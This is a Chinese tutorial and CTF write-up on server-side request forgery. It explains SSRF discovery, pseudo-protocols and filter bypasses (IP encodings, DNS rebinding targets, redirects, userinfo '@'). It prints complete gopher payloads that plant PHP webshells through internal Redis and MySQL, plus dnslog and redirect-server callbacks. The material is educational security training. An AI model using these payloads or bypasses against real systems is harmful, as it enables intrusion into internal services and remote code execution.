057-Web攻防-SSRFDemo源码Gopher项目等

news/2025/9/19 18:21:03/文章来源:https://www.cnblogs.com/HalfwayMousie/p/19101465

057-Web攻防-SSRF&Demo源码&Gopher项目等

知识点

知识点:

1、SSRF-原理-外部资源加载

2、SSRF-利用-伪协议&无回显

3、SSRF-挖掘-业务功能&URL参数

案例演示

1、SSRF-原理&挖掘&利用&修复

2、白盒 CTF-绕过&伪协议&审计点

3、黑盒 WEB-业务功能&URL 关键字

SSRF-原理&挖掘&利用&修复

什么是SSRF

漏洞原理:SSRF(Server-Side Request Forgery:服务器端请求伪造) ,一种由攻击者构造形成由服务端发起请求的一个安全漏洞;一般情况下,SSRF攻击的目标是从外网无法访问的内部系统

SSRF形成的原因

正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制

image-20250519203804355

image-20250519203843876

SSRF漏洞挖掘

黑盒探针

一、业务功能点:

  1. 社交分享功能:获取超链接的标题等内容进行显示
  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:给网址翻译对应网页的内容
  4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
  5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
  6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
  8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数
  9. 邮件系统:比如接收邮件服务器地址
  10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
  11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

特征:对数据进行了接受,并且对数据进行了功能性操作

二、URL关键参数

  1. share
  2. wap
  3. url
  4. link
  5. src
  6. source
  7. target
  8. u
  9. display
  10. sourceURl
  11. imageURL
  12. domain
白盒分析:代码审计 对(文件读取,加载,数据操作类的函数)进行检测
  1. http:// Web常见访问,如http://127.0.0.1?url=http://127.0.0.1/flag.php 拿到flag(常用)

image-20250610084456175

  1. file:/// 从文件系统中获取文件内容,如,file:///etc/passwd file:///var/www/html/flag.php(常用)

image-20250610090132568

  1. dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info dict://127.0.0.1:端口 (常用)

image-20250610103526072

sftp:// SSH文件传输协议或安全文件传输协议

ftp协议 (扫描端口极其好用)

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

gopher:// 分布式文档传递服务,可使用gopherus生成payload(常用)

由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)

分布式文档传递服务,可使用gopherus生成payload
有部分服务是http协议不支持通讯的,那么可以用gopher来进行通讯(如mysql,redis服务等)
应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus

  1. 应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopheru

SSRF绕过方式

-限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过,即@

http://www.xxx.com@www.xxyy.com

-限制请求IP不为内网地址

当不允许ip为内网地址时:

(1)采取短网址绕过

(2)采取域名解析

(3)采取进制转换

(4)采取3XX重定向

白盒CTF-绕过&伪协议&审计点

练习环境:CTFSHOW SSRF 白盒

351-无过滤直接获取

  1. 利用url接受并处理POST方式,没有任何过滤

  2. 两种方法

    • 利用服务器自己访问本地文件url=http://127.0.0.1/flag.php
    • 利用file协议从文件系统中获取flag url=file:///var/www/html/flag.php一般文件默认地址
image-20250529094540796 image-20250529094858169 image-20250529095334976 image-20250529095311509

351-351iP地址进制绕过

  1. 从代码里面看到这里对127.0.0进行了过滤
  2. 这里采用进制转换的方式绕过 url=http://2130706433/flag.php
image-20250529095702356 image-20250529101713344 image-20250529101810898

八进制
url=http://0177.0.0.1/flag.php

10 进制全部转换
url=http://2130706433/flag.php

十六进制(需要添加上0x)
0x的目的是为了表示后面的数是十六进制,在编程里面一般都要加入,用来区别十进制数
url=http://0x7F.0.0.1/flag.php

还有一种特殊的省略模式
127.0.0.1写成127.1

用CIDR绕过localhost
url=http://127.127.127.127/flag.php

还有很多方式
url=http://0/flag.php
url=http://0.0.0.0/flag.php

354-域名解析IP绕过

  1. 这里对localhost和1跟0进行了过滤
  2. 域名解析绕过 test.xiaodi8.com -> 127.0.0.1
  3. url=http://test.xiaodi8.com/flag.php
image-20250529103103828

f9dfa3ba96e61f357f004b2752f6e873

7a2c1a2bea9df89943490921555463c3

![8be3b82824fc346714e7eafc2b43a183 (1)](C:\Users\liuyuanbiao\Desktop\BlogPhoto\8be3b82824fc346714e7eafc2b43a183 (1).png)

8be3b82824fc346714e7eafc2b43a183

355-356长度限制IP绕过

  1. 这里代码对传入的ip地址长度进行了限制 不能大于5
  2. http://0/ 实际上是 http://0.0.0.0/ 的一种表示方法
  • 0被解析为0.0.0.0
  • 0.0.0.0 被认为是 本地回环接口或监听所有地址(根据上下文不同)
image-20250529110836924 image-20250529111128190
  1. 这里关和上面一样只不过这里的长度限制改为了3
  2. 在POST data传入 url=http://0/flag.php绕过

image-20250529111547683

357-利用重定向解析绕过

  1. 这关通过gethostbyname解析域名对应的ip地址但是 不能为127.0.0.1否则会进入if判断

  2. 在服务器上面创建文件保存为xx.php内容如下

  3. <?php
    header("Location:http://127.0.0.1/flag.php"); 
    其作用是:当执行该脚本时,会直接跳转到对应的网址,即Location: 后面的网址。
    
  4. 使用POST data传入url=http://47.94.236.117/xx.php

image-20250529111754830

0d97ee831343fbb5409acbd735609aba

358-匹配且不影响写法解析

  1. 这关preg_match对传入的url进行了匹配必须有http: ctf: show

  2. 我们这里POST data传入http://ctf.@127.0.0.1/flag.php#show

    • 为啥浏览器能识别这个 URL?

      • scheme://[userinfo@]host[:port]/path[?query][#fragment]
        协议:   http
        用户名:ctf
        主机名:127.0.0.1
        路径:   /flag.php
        片段:   #show
      • ctf.@127.0.0.1 中的 ctf. 被浏览器解析为 用户名(user info)

      • @ 之后的 127.0.0.1主机地址

      • #showURL 片段(fragment),浏览器用来跳转锚点,不会发到服务器

    • 浏览器会把这个请求发送给 http://127.0.0.1/flag.php

      • 不会真的尝试登录 ctf 用户
      • 不会发出 #show 给服务器(这是客户端解析用的)
      • 所以它访问的是本地 127.0.0.1 上的 /flag.php

image-20250529124047993

image-20250529125143205

359-360利用gopher协议打服务

前置知识

  1. 访问demo01/xss/xss.php?x=alert(%27xss%27)触发xss漏洞

  2. 将这个http://demo01/xss/xss.php?x=%3Cscript%3Ealert(%27xss%27)%3C/script%3E代码放到ssrf.php下面也能执行xss 原因是这里走的都是http协议让服务器访问提交的地址等同于触发xss的代码 但是有的漏洞走的不是http协议

  3. 假设`http://demo01/xss/xss.php是个内网地址,只要有ssrf漏洞服务器就可以访问,利用他当跳板去访问其他内网主机并进行相关漏洞利用

  4. 但是服务器有redis和mysqli服务就不能使用http协议了 这个时候就得用上gopher

    • 什么是 Gopher 协议?

    • gopher:// 是一种过时的文本协议(早期 Web 设计),大多数人已经不用它了。

    • 但在 SSRF 利用中,它非常有用

      它允许你精准控制请求内容(比 http:// 更低层、更自由),可以用于伪造 TCP 数据包。

      • 假设后端开放了 Redis 服务(6379 端口),可以用 SSRF + Gopher 伪造 Redis 协议,写入恶意数据:

      • 目标:写入 Redis 命令,达到 Webshell 注入或命令执行

      • gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$5%0d%0atest%0d%0a$5%0d%0ahello%0d%0a
        会发出 Redis 协议:
        *3
        $3
        SET
        $5
        test
        $5
        hello
        相当于执行命令:SET test hello
        

image-20250529140736021

image-20250529141111117

image-20250529140935049


  1. 这里题目已经很明显了告诉我们打redis
  2. 这里使用工具Gopherus 生成payload 参考: Gopherus工具的下载、使用
  3. 使用 工具Gopherus 在var/www/html/cmd.php 下写入一句话木马
  4. 这里还会进行一次url解码所以我们要再进行一次url编码 最终为
  5. 经过BP抓包确定路径为check.php,参数为returl,POST传参
  6. 然后访问cmd.php文件,确定写入成功
  7. cmd=system("tac /flag.txt")即可获取flag

returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254a%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%256d%2564%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

image-20250529175523566

image-20250529161558557

image-20250529222511786

image-20250529222558594

image-20250529222610814

360打redis

  1. 用工具生成payload redis都有默认的直接回车就好了
  2. 然后对payload进行一次url编码
  3. 这里是是用POST方式 url传递参数
  4. 访问shell.php执行命令即可

url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

image-20250530105224572 image-20250530105327190

image-20250530105430299

05d568a271f23936b21e49fc8c6570a1

黑盒WEB-业务功能&URL关键字

黑盒探针

  1. 访问loclhost和127.0.0.1后发现出来的页面不一样
  2. 可能存在ssrf漏洞

image-20250530115736216

fcbc75f9ec712e32f92f29bdc505ff70

案例演示

img

37b0f0406a960588652daa38143f37dc

ssrfpdf

  1. 在本地创建一个pdf文档 里面写上js代码·
  2. 当应用时如果里面的代码被触发并且dnslog有内容 就代表ssrf存在

iframe标签

<iframe src="http://6p5vvu.dnslog.cn">
<iframe src="6p5vvu.dnslog.cn">
<iframe>标签是干嘛的?

img

image-20250530123930246

image-20250530124059796

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/907998.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

060-WEB攻防-PHP反序列化POP链构造魔术方法流程漏洞触发条件属性修改

060-WEB攻防-PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改 知识点: 1、PHP-反序列化-应用&识别&函数 2、PHP-反序列化-魔术方法&触发规则 3、PHP-反序列化-联合漏洞&P…

059-Web攻防-XXE安全DTD实体复现源码等

059-Web攻防-XXE安全&DTD实体&复现源码等 知识点 XML&XXE-传输-原理&探针&利用&玩法 XML&XXE-黑盒-JS&黑盒测试&类型修改 XML&XXE-白盒-CMS&PHPSHE&无回显什么是XML?…

061-WEB攻防-PHP反序列化原生类TIPSCVE绕过漏洞属性类型特征

061-WEB攻防-PHP反序列化&原生类TIPS&CVE绕过漏洞&属性类型特征知识点 1、PHP-反序列化-属性类型&显示特征 2、PHP-反序列化-CVE绕过&字符串逃逸 3、PHP-反序列化-原生类生成&利用&配合1、…

051-Web攻防-文件安全目录安全测试源码等

051-Web攻防-文件安全&目录安全&测试源码等 知识点1、文件安全-前后台功能点-下载&读取&删除 2、目录安全-前后台功能点-目录遍历&目录穿越演示案例:➢文件安全-下载&删除-案例黑白盒 ➢目录…

Dilworth定理及其在算法题中的应用

1. Dilworth定理 Dilworth定理由数学家Robert P. Dilworth于1950年提出,它描述了偏序集中链和反链之间的关系。偏序集:一个集合 equipped with a partial order(即一个自反、反对称、传递的关系)。 链:偏序集的一…

error: xxxxx does not have a commit checked out

$ git commit -m "test" *error: AW30N does not have a commit checked outfatal: updating files failed解决方法: 删除多余的文件夹AW30N

049-WEB攻防-文件上传存储安全OSS对象分站解析安全解码还原目录执行

049-WEB攻防-文件上传&存储安全&OSS对象&分站&解析安全&解码还原&目录执行-cnblog#文件-解析方案-执行权限&解码还原 1、执行权限文件上传后存储目录不给执行权限 原理:开启禁止目录执行…

云原生周刊:MetalBear 融资、Chaos Mesh 漏洞、Dapr 1.16 与 AI 平台新趋势

云原生热点 MetalBear 获得 1250 万美元种子轮融资,推动 Kubernetes 开发解决方案 以色列初创公司 MetalBear 宣布完成 1250 万美元种子轮融资,由 TLV Partners 领投,TQ Ventures、MTF、Netz Capital 及多位知名天使…

AI一周资讯 250913-250919

原文: https://mp.weixin.qq.com/s/bnJ-kyOojPi6rqgx0NOXxg 阿里版Cursor正式收费!Qoder全球推出付费订阅,小白用了都说“最懂我” 2025年9月15日,阿里AI编程平台Qoder(被称为“阿里版Cursor”)面向全球用户正式推…

045-WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件-cnblog

045-WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件-cnblog PHP-MYSQL-二次注入-DEMO&74CMS1、DEMO-用户注册登录修改密码1.注册新用户时,将注入的内容包含在注册的用户名…

linux 命令语句

rt 快csp初赛了,发现s组第一题一般是linux 命令语句,碎屑。 c cat:连接和显示文件内容 cd:切换工作目录 chmod:修改文件或目录的权限 chown:修改文件或目录的所有者 cp:复制文件或目录 d df/du:显示磁盘使用情…

用 Kotlin 实现英文数字验证码识别

在本教程中,我们将使用 Kotlin 和 Tesseract OCR 库实现对英文数字验证码的识别。Tesseract 是一个开源的 OCR 引擎,能够从图像中提取文本内容。结合 Kotlin 的简洁语法,我们可以高效地完成这个任务。环境准备 (1)…

UM2003A 一款 200 ~ 960MHz ASK/OOK +18dBm 发射功率的单发射

UM2003A 一款 200 ~ 960MHz ASK/OOK +18dBm 发射功率的单发射Si24R03 是一款高度集成的低功耗 SOC 芯片,其集成了基于 RISC-V 核的低功耗 MCU 和工作在 2.4GHz ISM 频段的无线收发器模块。 MCU 模块具有低功耗、L…

达芬奇(DaVinci Reslove)字体文件 bugb标签

今天有小伙伴 突然 反馈 字幕轨导 execl的插件 字幕没有导出来。我拿到 srt文件是 文件1这样格式,我导入字幕轨后 ,再导出来 格式变了 多了 一个 <…

语音芯片怎样挑选?语音芯片关键选型要点?

语音芯片怎样挑选?语音芯片关键选型要点? 选择语音芯片需根据具体应用场景和性能需求进行综合评估,以下是关键选型要点: 一、核心性能参数 1、采样率与信噪比 高采样率(如16位ADC)可减少声音失真,信噪比≥75dB能…

KingbaseES Schema权限及空间限额

一、权限授予操作 1. 基础权限赋予 1.1 创建测试环境-- 1.创建测试用户 test=# CREATE USER schema_user WITH PASSWORD Schema@123; CREATE ROLE-- 2.创建测试Schema test=# CREATE SCHEMA test_schema AUTHORIZATION…

UM2003A 一款 200 ~ 960MHz ASK/OOK +18dBm 发射功率的单发射芯片

UM2003A 一款 200 ~ 960MHz ASK/OOK +18dBm 发射功率的单发射芯片UM2003A 是一款工作于 200 ~ 960MHz 频段的单片集成、高性能、可独立运行的 OOK 发射器。内部集成的 OTP 方便用户对各种射频参数以及特色功能进行编程…

HTTP库开发实战:核心库与httpplus扩展库示例解析

实战导向的HTTP库开发教程!本文以核心库基础功能为起点,结合httpplus扩展库示例,演示如何高效实现HTTP协议相关功能。 一、两个库有何不同? 首先需要了解,LuatOS采用核心库和扩展库的模块化设计,核心库负责底层与…

QMT交易系统向服务器同步订单丢失问题排查

QMT交易系统向服务器同步订单丢失问题排查1.挂单系统报错,异步挂单后订单挂单回调更新OrderID报错:查找对象为空,起初以为是多线程共享对象属性同步不及时造成的,后来发现在异步挂单执行完毕才对RequestOrderStock…

笔记1

1、bug包含哪些内容 ? 所属产品、所属模块、所属项目、当前指派、bug类型、操作系统、浏览器、bug标题、严重程度、优先级、重新步骤、相关需求2、bug的等级? 1级bug (致命bug) 2级bug (严重bug) 3级bug (一…